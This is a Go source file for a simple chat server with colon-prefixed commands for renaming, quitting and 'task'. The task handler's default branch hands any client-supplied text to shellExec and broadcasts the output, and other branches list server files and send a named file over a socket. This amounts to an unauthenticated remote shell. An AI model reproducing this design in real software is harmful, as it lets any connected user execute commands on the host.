package chat

import (
	"errors"
	"fmt"
	"github.com/tyrchen/goutil/regex"
	"regexp"
)

type Command struct {
	cmd string
	arg string
	str string
}

type Run func(server *Server, client *Client, cmd Command)

const (
	CMD_REGEX = `:(?P<cmd>\w+)\s*(?P<arg>\w+)\s*(?P<str>.*)`
)

var (
	commands map[string]Run
)

func init() {
	commands = map[string]Run{
		"name": changeName,
		"q":    quit,
		"t":    task,
		"quit": quit,
		"task": task,
	}
}

func parseCommand(msg string) (cmd Command, err error) {

	fmt.Println(msg)

	r := regexp.MustCompile(CMD_REGEX)
	if values, ok := regex.MatchAll(r, msg); ok {
		cmd.cmd, _ = values[0]["cmd"]
		cmd.arg, _ = values[0]["arg"]
		cmd.str, _ = values[0]["str"]
		return
	}
	err = errors.New("Unparsed message: " + msg)
	return
}

func (self *Server) executeCommand(client *Client, cmd Command) (err error) {

	fmt.Println(cmd.cmd)
	fmt.Println(cmd.arg)
	fmt.Println(cmd.str)
	if f, ok := commands[cmd.cmd]; ok {
		f(self, client, cmd)
		return
	}

	err = errors.New("Unsupported command: " + cmd.cmd)
	return
}

// commands

func changeName(server *Server, client *Client, cmd Command) {
	oldname := client.GetName()
	client.SetName(cmd.arg)
	server.broadcast(fmt.Sprintf("Notification: %s changed its name to %s", oldname, cmd.arg))
}

func quit(server *Server, client *Client, cmd Command) {
	client.quit()
	server.broadcast(fmt.Sprintf("Notification: %s quit the chat room.", client.GetName()))
}

//执行任务
func task(server *Server, client *Client, cmd Command) {

	var arg = cmd.arg
	var str = cmd.str
	if arg == "" {
		return
	}

	fmt.Println(arg)
	fmt.Println(str)
	//	fmt.Println(getCurrPath())

	//对arg再解析 通过空格分割成多个部分

	var msg string
	switch arg {
	case "dir":
		files, _ := listDir(getCurrPath(), "")
		//fmt.Println(files)
		for _, fi := range files {
			msg += fi
			msg += "\t"
		}
	case "download":

	case "upload":
		if str == "" {
			msg += "请输入文件名"
		} else {

			client.sendFile = true
			msg += "发送文件："
			msg += str
			//开始传送
			go Send(cmd.str, "127.0.0.1:12333")

		}
	case "restart":
	//kill pro
	//start exe

	default:
		msg = shellExec(arg)

	}

	server.broadcast2(client, msg)
}
